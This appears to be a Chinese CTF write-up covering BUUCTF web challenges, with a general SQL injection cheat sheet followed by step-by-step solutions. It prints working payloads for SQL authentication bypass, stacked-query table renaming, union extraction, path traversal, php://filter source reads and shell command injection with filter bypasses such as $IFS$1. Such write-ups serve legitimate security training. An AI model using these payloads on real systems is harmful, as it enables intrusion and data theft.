BUUCTF题目Web部分wp(持续更新)

这篇具有很好参考价值的文章主要介绍了BUUCTF题目Web部分wp(持续更新)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

关于SQL注入的一些通用办法

SQL注入一般方法

如有权限,查询当前用户可以访问的所有表

-- MySQL查库名,注意排除不需要的两个schema
select schema_name from information_schema.schemata
where schema_name != 'mysql' and schema_name !='information_schema';
-- MySQL查表名,注意排除不需要的两个schema
select table_schema,table_name from information_schema.tables
where table_schema != 'mysql' and table_schema !='information_schema';
-- MySQL查列名,注意排除不需要的两个schema
select table_schema,table_name,column_name from information_schema.columns
where table_schema != 'mysql' and table_schema !='information_schema';
-- MySQL查授权
select grantee, table_schema, privilege_type 
from information_schema.schema_privileges;
-- MySQL查当前数据库和用户
select database();
select user();
-- MySQL数据库文件保存在与数据库名称相同的目录下,此目录包含在主MySQL数据目录中
-- 查询该目录
select @@datadir
-- MySQL数据库所有表包含在一个扩展名为MYD的文件中
-- 默认有tables_priv.MYD host.MYD help_keyword.MYD columns_priv.MYD db.MYD
-- 可以这样提取
select load_file('databasename/tablename.MYD');


-- Oracle当前用户的表,通常是应用程序所用的表
select table_name from user_tables;
-- Oracle查看数据库中所有表及所有者
select owner,table_name from all_tables;
-- Oracle有system、role、table、column四种权限
-- 查当前用户的
select * from user_sys_privs;
select * from user_role_privs;
select * from user_tab_privs;
select * from user_col_privs;
-- 查suoyou 用户的
select * from all_sys_privs;
select * from all_role_privs;
select * from all_tab_privs;
select * from all_col_privs;


-- SQL Server查库名
select name from master..sysdatabases;
-- SQL Server查表名,假设库名叫e-shop
select name from e-shop..sysobjects where xtype='U';
-- SQL Server查列名,假设库名叫e-shop,表名叫customers
select name from e-shop..syscolumns 
where id=(select id from e-shop..sysobjects where name='customers');
-- MSSQL使用目录视图查询可访问的表
select name from sys.tables;


-- PostgreSQL查所有数据库
select datname from pg_database;
-- PostgreSQL查所有用户
select usename from pg_user;
-- PostgreSQL查当前数据库
select current_database();
-- PostgreSQL查当前用户
select user;
select current_user;
select session_user;
select getpgusername();

字符串拼接,避免字符串被过滤。

# Oracle和PostgreSQL字符串拼接
select * from tab where password = 'sql'||'inject';
# MySQL字符串拼接,注意两个引号之间是空格
select * from tab where password = 'sql' 'inject';
# MSSQL字符串拼接
select * from tab where password = 'sql'+'inject'

利用字符串内联注入

# 内联sql注入
select * from tab 
where username='' and password='';

# $username=admin' and 1=1 or '1'='1  
# $password=pass
# 这样就可以找到所有username=admin的行
select * from tab 
where username='admin' and 1=1 or '1'='1' and password='pass';
select * from tab 
where (username='admin' and 1=1) or ('1'='1' and password='pass');

# $username=admin' or 1=1 or '1'='1
# $password=pass
# 这样就可以找到所有username=admin的行,并绕开身份认证
select * from tab 
where username='admin' or 1=1 or '1'='1' and password='pass';
select * from tab 
where (username='admin') or (1=1) or ('1'='1' and password='pass');

# $username=admin
# $password=' or '1'='1
# # 这样就可以找到所有username=admin的行,并绕开身份认证。这就是万能密码。
select * from tab 
where username='admin' and password='' or '1'='1';
select * from tab 
where (username='admin' and password='') or ('1'='1');

利用终止式SQL注入 。也就是利用SQL语法中的注释。

-- Oracle、PostgreSQL、MSSQL都可以使用--做单行注释
-- MySQL可以使用--做单行注释,但后面要跟一个空白字符,如空格、tab、换行
#  MySQL可以使用#做单行注释

/*
MySQL、Oracle、PostgreSQL和MSSQL
都可以使用这种多行注释
*/

# 利用/**/躲避空白符过滤
# $username=admin
# $password='/**/or/**/'1'='1
select * from tab
where username='admin' and password=''/**/or/**/'1'='1';

# 利用分开的/* 和 */组合一起
# $username=admin'/*
# $password=*/'
select * from tab
where username='admin'/*' and password='*/'';
select * from tab
where username='admin' '';

利用 having 1=1 并观察报错来确定列名。因为sql语句中原本没有聚合函数,那么having 1=1就会爆出语法错误。这样语法解析时会提示表的第一列的列名。再使用group by 第一列列名,观察报错里的第二列的列名。

select * from tab where data=$data
# $data=1 having 1=1#
select * from tab where data=1 having 1=1#
# $data=1 group by uid#
select * from tab where data=1 having 1=1 group by uid#
# $data=1 group by uid, username#
select * from tab where data=1 having 1=1 group by uid, username#
# $data=1 group by uid, username, password#
select * from tab where data=1 having 1=1 group by uid, username, password#

堆叠查询,在一个句柄里执行多个SQL语句。首先需要能够终止第一个语句,这样之后可以连接任意的SQL代码。

select * from tab1;select * from tab2;desc tab3;

-- ';[SQL statement]--   注入字符串,执行任意sql,并注释掉之后的sql
-- ';[SQL statement]#    注入字符串,执行任意sql,并注释掉之后的sql
-- ;[SQL statement]--  注入数字类型,执行任意sql,并注释掉之后的sql
-- ;[SQL statement]#   注入数字类型,执行任意sql,并注释掉之后的sql

MySQL的一般语法

反引号 ` 和 ’ 两者在linux下和windows下不同,linux下不区分,windows下区分。单引号 ’ 或双引号主要用于 字符串的引用符号;反勾号 ` 数据库、表、索引、列和别名用的是引用符是反引号。

--显示数据库名、表名、列名
show databases;
show tables;
--显示列名
desc `tab_name`;
show columns from `tab_name`;

--修改表名
alter table `tab_name1` rename to `tab_name2`;

--增加一列
alter table `tab_name` add id int(10) default '12';
alter table `tab_name` add column `data` varchar(10) default 'abc';

--修改列名,从flag修改为id
alter table `words2` change `flag` `id` varchar(100);

GET请求

GET请求在URL里发送参数的格式是 ?parameter1=value1&parameter2=value2&parameter3=value3……。在浏览器导航栏中直接修改就可以操纵这些参数。

POST请求

与GET请求类似,但是POST请求的参数位于请求的底部,需要借助工具来查看和修改,比如使用Burpsuite。

[极客大挑战 2019]EasySQL【sql万能密码】

靶机启动后,填写username和password,登录的地址为http://url.to.target/check.php?username=admin&password=pass+word,注意post过去空格变成了加号。

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
http://url.to.target/
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
http://url.to.target/check.php?
username=admin&password=pass+word
/* 动态sql
"select * from tab where username='" + $username + 
"' and password='" + $password + "'"
*/
select * from tab 
where username='admin' and password='pass'

这是最简单的SQL注入,不管是在username还算在password上下功夫均可。 构造不正常的sql,使or 1=1恒成立,后面用#注释。或者让最后一个表达式or '1'='1'恒成立。得到flag为flag{4080d180-d289-43db-91ed-094ac7487e91}

from urllib.parse import quote,unquote
"""
构造不正常的sql
select * from tab 
where username='' or 1=1 #' and password='pass'
select * from tab 
where username='admin' and password='' or '1'='1'
"""
for m in ('\'', ' ', '#', '='):
    c = quote(m)
    print(f'{m} = {c}')

print(quote(r"' or 1=1 #"))  # username=%27+or+1%3D1+%23
print(quote(r"' or '1'='1")) # password=%27+or+%271%27%3D%271
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
username=%27+or+1%3D1+%23
&
password=123
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
username=admin
&
password=%27+or+%271%27%3D%271

[极客大挑战 2019]Havefun【F12】

页面按下F12,发现提示$cat=='dog'。那么post过去一个http://url.to.target/?cat=dog,得到flag为

flag{80a408c6-2602-472d-966b-eb09d00dc293}

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
$cat=='dog'
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
?cat=dog

[HCTF 2018]WarmUp【php,代码审计】

Web界面只看到一张大黄脸。根据“代码审计”提示按下F12,可以看到提示source.php。访问source.php,看到代码,有新提示source.php和hint.php在白名单列表。访问hint.php,看到flag not here, and flag in ffffllllaaaagggg。

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
http://url.to.target/
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
http://url.to.target/source.php
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
http://url.to.target/hint.php

看一下source.php的代码。发现提交参数是file,且file不为空、是字符串、并通过emmm:checkFile检查。这个函数经过3次检查

  1. 先检查参数是否在白名单里,白名单为source.php和hint.php。
  2. 如果file的值仍有参数,那么取“?”前面的内容,检查是否在白名单里。
  3. 如果file的值仍有参数,值url解码,取“?”前面的内容,检查是否在白名单里。

虽然“?”前的字符串在白名单里,但是“?”后面的字符串可以被利用,目录穿越到其他目录,尝试有无 ffffllllaaaagggg 文件,向上穿越4层父目录有这个文件,得到flag。

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

构造注入的参数 ?file=source.php?/../../../../ffffllllaaaagggg。符合第二个白名单检查。

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
http://url.to.target/?file=source.php?/../../../../ffffllllaaaagggg 

或者 ?file=hint.php%253F/../../../../ffffllllaaaagggg。这里%253F被浏览器解码一次得到%3F,%3F再被urldecode一次得到“?”,这样就符合第三个白名单检查。

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
http://url.to.target/?file=hint.php%253F/../../../../ffffllllaaaagggg

[ACTF2020 新生赛]Include【php include】

界面有一个链接tips,GET方法传递参数file值为flag.php。题目叫Include,考虑include漏洞。

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
http://url.to.target/
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
http://url.to.target/?file=flag.php

PHP的Include漏洞在文件包含漏洞(include)-学习笔记_include_filter漏洞_小龙在山东的博客-CSDN博客简介服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。PHP Stream(流)属性支持受限于 allow_url_fopenNO受限于allow_url_include仅 php://input、 php://s_include_filter漏洞https://blog.csdn.net/lilongsy/article/details/108146107里面已经说的很明白了。使用读取php源代码方法,/?file=php://filter/read=convert.base64-encode/resource=flag.php,得到base64编码,再转换为flag即可。

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
http://url.to.target/?file=php://filter/read/convert.base64-encode/resource=flag.php
<?php
echo "Can you find out the flag?";
//flag{a8f11f6d-a98b-4220-9cd8-f073cfc1c469}

[ACTF2020 新生赛]Exec【构造payload执行shell命令】

界面标题command execution,推测是执行shell命令。F12查看,提交form只有一个参数target,那么执行ping的命令应该是拼接出来的动态命令。注意shell命令,用“;”、“&”、“|”等符号分割,可以在一行命令上执行多个命令。

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
http://url.to.flag/
$cmd = "ping" + $target
# target=weibo.com;ls /
$cmd = "ping weibo.com;ls /"

 尝试填入 weibo.com;ls / ,看到根目录下有flag文件。再填入weibo.com;cat /flag,得到flag。

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
ping weibo.com;ls /
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
ping weibo.com;cat /flag

[GXYCTF2019]Ping Ping Ping【shell、$IFS$1绕开空格、绕开字母等字符】

界面上有/?ip=的提示,尝试构造payload,/?ip=qq.com;ls,看到flag.php和index.php

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
http://url.to.flag/?ip=qq.com;ls

尝试构造payload查看flag.php的内容,/?ip=qq.com;cat flag.php,看到fxck your space!看来是过滤了空格。

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
http://url.to.flag/?ip=qq.com;cat flag.php

尝试构造payload不输入空格查看flag.php内容这里有几种方法 ${IFS} 、$IFS$1 、%20 、%09 、+ 、< 、<> 等。这里$IFS$1可行,payload为 /?ip=qq.com;cat$IFS$1flag.php,看到fxck your flag!看来是过滤了flag。

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
http://url.to.flag/?ip=qq.com;cat$IFS$1flag.php

尝试构造payload查看index.php,/?ip=qq.com;cat$IFS$1index.php,看到代码中过滤了斜线、反斜线、引号、括号、空格、bash、flag等一系列字符(串)。那么就考虑不出现这些字符串怎么访问。

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
http://url.to.flag/?ip=qq.com;cat$IFS$1index.php

尝试构造payload,/?ip=qq.com;ls|xargs$IFS$1cat,也就是执行 ls|xargs cat,回显所有列出文件的内容,再按F12看代码得到flag。

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
http://url.to.flag/?ip=qq.com;ls|xargs$IFS$1cat

同理构造payload,/?ip=qq.com;cat$IFS$1`ls`,也就是执行 cat `ls`,回显所有列出文件的内容,再按F12看代码得到flag。不同的是,shell中将反引号内命令的输出作为输入执行,即内联执行。

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
http://url.to.flag/?ip=qq.com;cat$IFS$1`ls`

尝试构造payload,/?ip=qq.com;echo$IFS$1FLAG.PHP|tr$IFS$1A-Z$IFS$1a-z|xargs$IFS$1cat,也就是执行 echo FLAG.PHP|tr A-Z a-z|xargs cat,回显flag.php内容,再按F12看代码得到flag。正则表达式只匹配了小写的flag,我们就输入大写的FLAG.PHP,用tr命令转为小写,再执行cat。

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
http://url.to.flag/?ip=qq.com;echo$IFS$1FLAG.PHP|tr$IFS$1A-Z$IFS$1a-z|xargs$IFS$1cat

尝试构造payload,/?ip=qq.com;echo$IFS$1ZmxhZy5waHA=|base64$IFS$1-d|xargs$IFS$1cat,也就是执行 echo ZmxhZy5waHA=|base64 -d|xargs cat,回显flag.php内容,再按F12看代码得到flag。输入flag.php的base64编码,再解码,再执行cat。

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
http://url.to.flag/?ip=qq.com;echo$IFS$1ZmxhZy5waHA=|base64$IFS$1-d|xargs$IFS$1cat

尝试构造payload,/?ip=qq.com;x=g;cat$IFS$1fla$x.php。利用正则表达式的漏洞,flag的最后一个字母g可以替换,也能打到目的。

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
http://url.to.flag/?ip=qq.com;x=g;cat$IFS$1fla$x.php

[强网杯 2019]随便注【利用;堆叠查询】

既然随便注,那么先尝试一下万能密码。果然可以。

--"select * from tab where id='" + $inject + "'"
--/?inject='or'1'='1
select * from tab where id=''or'1'='1'
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
http://url.to.flag/?inject='or'1'='1

尝试只输入一个单引号“'”,看报错是mysql数据库。

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
http://url.to.flag/?inject='

尝试使用union all 联查Information.schema时候,发现正则表达式过滤了select、update、delete、drop、insert、where等关键字。

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
http://url.to.flag/?inject='or'1'='1' union all select * from Information_schema.tables or'1'='1

尝试用“;” 堆叠查找,即执行多个sql。查看数据库有哪些,目前使用的数据库有哪些表。尝试查看最可能的3个数据库,看里面有什么表,发现使用的是supersqli这个 数据库。里面有2个表,一个是words,另一个是1919810931114514。

1';show databases;#

1';use ctftraining;show tables#
1';use test;show tables#
1';use supersqli;show tables#

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
';show databases;#
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
';use supersqli;show tables#

查看两个表的结构。为了保证执行成功,需要用反引号将表名括起来。反引号 ` 和 ’ 两者在linux下和windows下不同,linux下不区分,windows下区分。单引号 ’ 或双引号主要用于 字符串的引用符号;反勾号 ` 数据库、表、索引、列和别名用的是引用符是反引号。

1';desc `words`;#
1';desc `1919810931114514`;#

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
';desc `words`;#
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
';desc `1919810931114514`;#

 猜测执行的sql逻辑为 select * from words id = $inject。由于前面已经对select等关键字做了过滤,因此仍旧使用堆叠查找办法。把表名列名修改掉。先把1919810931114514表的flag列重命名为id列,再把words表重命名为words_old,最后把1919810931114514表重命名为words,注意逻辑顺序,并在一个堆叠查询sql里执行完毕。

alter table `1919810931114514` change `flag` `id` varchar(100);
alter table `words` rename to `words_old`;
alter table `1919810931114514` rename to `words`;

1';alter table `1919810931114514` change `flag` `id` varchar(100);alter table `words` rename to `words_old`;alter table `1919810931114514` rename to `words`;#

在查看一下更改后的表结构,再用万能密码拿到flag。

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
';show tables;desc words;desc words_old;#
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
' or 1=1#

[SUCTF 2019]EasySQL【sql猜想,sql_mode】

没思路,前人之述备矣。这篇写的好。

BUUCTF:[SUCTF 2019]EasySQL_末 初的博客-CSDN博客题目地址:https://buuoj.cn/challenges#[SUCTF%202019]EasySQLSQL查询,观察回显,这里应该是用var_dump()输出在测试查询的时候发现有些字符能使用,有些字符被过滤了,因此查询点进行fuzz测试,看看过滤了哪些字符回包长度为523的都是可以使用的,其他的字符均已被过滤PS:这里使用Burp进行fuzz的线程不要开太高,容易报429,fuzz的字符不多可以慢慢跑;可以使用,尝试堆叠注入首先这里的query参数无论我们输入数字什么都只会回https://blog.csdn.net/mochu7777777/article/details/108937396测试发现:

  1. 无论输入什么数字,回显都是Array([0]=>1)。不能输入字母。输入多列,选择的最后一列是1或0。
  2. 不能用万能密码。
  3. 能show databases; 能 show tables;但是不能show columns from Flag; 不能select column_name from information_schema.tables。
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
最后一列是1
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
最后一列是0
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
schema是ctf,最后一列是1
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
1;show databases;show tables;

猜测后台执行的sql如下。

"SELECT".$_POST['query']."|| flag from ctf.Flag"
// SELECT query || flag from ctf.Flag

方法一:输入*,1,直接回显flag

-- 输入 *, 1
SELECT *, 1||flag from ctf.Flag
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
SELECT *, 1||flag from ctf.Flag

方法二:mysql默认||符号表示逻辑或,但是可以修改sql_mode使||成为字符串拼接。

-- 输入  1;set sql_mode=pipes_as_concat;select 1
SELECT 1;SET SQL_MODE=PIPES_AS_CONCAT;SELECT 1||flag FROM ctf.Flag
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
1;set sql_mode=pipes_as_concat;select 1

[极客大挑战 2019]Secret File【F12、wireshark抓包、HTTP302重定向】

按F12或界面全选,可以看到和背景色一样黑的链接,对应的是Archive_room.php。点击来到第二个页面,SECRET的链接是action.php。点击来到第三个页面end.php。没看清楚,看来action.php有问题。

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
出题人好贱!
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
/Archive_room.php
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
/end.php

用wireshark抓包仔细观察一下,发现了secr3t.php 和 flag.php。需要仔细研究 secr3t.php的代码来查看flag.php的代码。

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
/action.php 被302重定向到 /secr3t.php
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
/secr3t.php
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
/flag.php
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
/secr3t.php?file=php://filter/read/
convert.base64-encode/resource=flag.php

 将base64编码解码即可。

<!DOCTYPE html>

<html>

    <head>
        <meta charset="utf-8">
        <title>FLAG</title>
    </head>

    <body style="background-color:black;"><br><br><br><br><br><br>
        
        <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
        
        <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
            <?php
                echo "我就在这里";
                $flag = 'flag{73dd1594-3c43-4eba-b109-16965b93ed0d}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
            ?>
        </p>
    </body>

</html>

[极客大挑战 2019]LoveSQL【union堆叠查询、order by desc、group_concat】

尝试万能密码,username=' or 1=1#,password随便输入以下都输入a,能登录。观察到了admin的密码,但不是flag。再尝试union堆叠查询,居然还是显示admin的信息。所以要order by排序,order by desc降序排列让堆叠查询内容排到第一行可以显示的位置。

' or 1=1 union select 1,2,3#
' or 1=1 union select 1,2,3 order by 3 desc#
' or 1=1 union select 1,database(),3 order by 3 desc#
再尝试堆叠查询,排序,确定显示第2,3列内容。确定当前schema是geek。

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
username=' or 1=1#
password=a 
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
' or 1=1 union
select 1,database(),3 order by 3 desc#

再去information_schema里查columns表看表名与列名。结果加不加desc结果不一样,说明不只一行数据。要想办法合成到一行显示出来,考虑用group_concat函数。

' or 1=1 union 
select 1,table_name,column_name from information_schema.columns 
where table_schema='geek' order by 3#

————————————————————————————————————————

' or 1=1 union 
select 1,table_name,column_name from information_schema.columns 
where table_schema='geek' order by 3 desc#

————————————————————————————————————————
加不加desc结果不一样,说明不只一行数据。

使用group_concat()函数将table_name列连接起来。 那么,观察hello的值可以知道要查的表应该是 geek.l0ve1ysq1,且该表有3列。同样geek.geekuser表也有3列,猜想check.php执行的sql是

"select id,username,password from geekuser where username='".$_GET['username']."' and password='".$_GET['password']."'" 

' or 1=1 union select 1,group_concat(table_name),3 from information_schema.columns where table_schema='geek' order by 3 desc#

使用group_concat()函数将table_name列连接起来。 

Login Success!
Hello geekuser,geekuser,geekuser,l0ve1ysq1,l0ve1ysq1,l0ve1ysq1!
Your password is '3'

用同样的办法,可以查出geek.l0ve1ysq1的列名。

' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1' order by 3 desc#
geek.l0ve1ysq1的列名是id,username,password

 BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入

最后用同样的办法,可以查出flag。

' or 1=1 union select 1,group_concat(username),3 from geek.l0ve1ysq1 order by 3 desc#

Login Success!
Hello cl4y,glzjin,Z4cHAr7zCr,0xC4m3l,Ayrain,Akko,fouc5,fouc5,fouc5,fouc5,fouc5,fouc5,fouc5,

fouc5,leixiao,flag
Your password is '3'

说明要查username=flag的那行

' or 1=1 union select 1,username,password from geek.l0ve1ysq1 where username='flag' order by 3 desc#
Login Success!
Hello flag!
Your password is 'flag{b6a466be-3322-4698-a402-4d9e5d7bd971}'

 BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入

[极客大挑战 2019]Http【F12、?】

缩小浏览器窗口,可以看到3个页面。F12看代码能看到/Secret.php。访问https://Sycsecret.buuoj.cn发现打不开。文章来源地址https://www.toymoban.com/news/detail-641259.html

BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
请点开放大查看
BUUCTF题目Web部分wp(持续更新),# BUUCTF,信息安全,CTF,web安全,sql注入
/Secret.php

Next

到了这里,关于BUUCTF题目Web部分wp(持续更新)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • BUUCTF--Web篇详细wp

    CTF平台:https://buuoj.cn/ 使用万能密码登入即可。 flag{c8aeab4b-a566-4d7e-a039-cf6393c61d76} F12 查看源代码 发现是 PHP 代码审计(小猫挺可爱呢~) 传了一个变量 然后是 GET 请求 如果 cat=dog 就会输出 flag 构造 Payload:/?cat=dog flag{86e415ca-8d55-4868-afb3-ec58d239dbb7} 打开网页看到滑稽图 直接 F12

    2024年02月03日
    浏览(26)
  • 2022第十五届全国大学生信息安全竞赛(ciscn)西南赛区部分WP

    EzSignin 访问题目flag是假的,F12源代码,看到base64解码 解码得到flag CODE 访问题目,有个aid.php直接访问不行,使用PHP为协议进行读取,input2需要等于Welcone!,这里要使用data协议编码一下,input3可以随便输入 得到aid.php的代码 很明显的反序列化,直接构造payload: exp: base64解码得

    2024年02月06日
    浏览(39)
  • BUUCTF NewStarCTF 2023 WEB题WP

    直接在URL处访问www.zip文件 将下载下来的www.zip文件解压即可得到flag 常见的文件泄露一般泄露的都是网站的备份文件,常见的备份的文件名通常为 wwwroot、www、子域名等,压缩包后缀通常为 zip、tar.gz 等 其他的也有配置文件的泄露。建议自己收集一个敏感文件的字典 很简单的

    2024年02月08日
    浏览(35)
  • 【web-ctf】ctf_BUUCTF_web(2)

    1. [RCTF2015]EasySQL 考点: 二次注入 报错注入 正则表达式查找 reverse函数 学到的知识点: 二次注入原理 二次注入的标志: (1)可以自行注册用户 (这是为了注册一些特殊的用户名到数据库中(比如会导致之后报错、修改其他用户的密码等)) (2)可以使用修改密码等 (二

    2024年02月06日
    浏览(34)
  • 2023年第三届陕西省大学生网络安全技能大赛 web部分 wp

    总体来说还行,就是又感受到了py的成分,多的不说,星盟出的题,题目质量还是可以的,希望之后通过学习大佬的姿势来长长见识。 目录 EZPOP  RCE unserialize 首先来到页面   点击,就是空白页,查看源代码 F12都会进入空白页,猜测存在js在搞怪。 先打开一个空白页,再f12,

    2024年02月10日
    浏览(38)
  • [CTF]2022美团CTF WEB WP

    最终排名 源码 由上源码可知想要造成pickle反序列化需要两步: 1.得到secret_key 2.绕过黑名单造成pickle反序列化漏洞 那么先来实现第一步: app.config[‘SECRET_KEY’] = os.urandom(2).hex() #设置key为随机打乱的4位数字字母组合例如a8c3 从这里知道,想要爆破key其实并不难,可以自己试试 那

    2024年02月06日
    浏览(35)
  • 安全行业招聘信息汇总——持续更新!

    (1)安全攻防工程师 职位描述 1、负责上线安全测试(黑盒、白盒)、例行安全检查、渗透测试、APP安全测试等工作; 2、制订研发流程中的安全规范,监督和保障安全规范的实施; 3、负责SDLC流程落地,深入业务技术及架构,左移解决安全风险; 4、对标国际信息安全最佳

    2024年02月05日
    浏览(34)
  • 信息安全技术概论-李剑-持续更新

    图片和细节来源于 用户 xiejava1018   随着计算机网络技术的发展,与时代的变化,计算机病毒也经历了从早期的破坏为主到勒索钱财敲诈经济为主,破坏方式也多种多样,由早期的破坏网络到破坏硬件设备等等  ,这也是为什么要学习信息安全技术。 信息: 文字图像的形式

    2024年02月09日
    浏览(25)
  • 2023蓝帽杯初赛ctf部分题目

    LovePHP 打开网站环境,发现显示出源码  来可以看到php版本是7.4.33 简单分析了下,主要是道反序列化的题其中发现get传入的参数里有_号是非法字符,如果直接传值传入my_secret.flag,会被php处理掉 绕过 _ 的方法     对于 __ 可以使用 [, 空格, + , . 。都会被处理为 _;  这是因

    2024年02月10日
    浏览(27)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包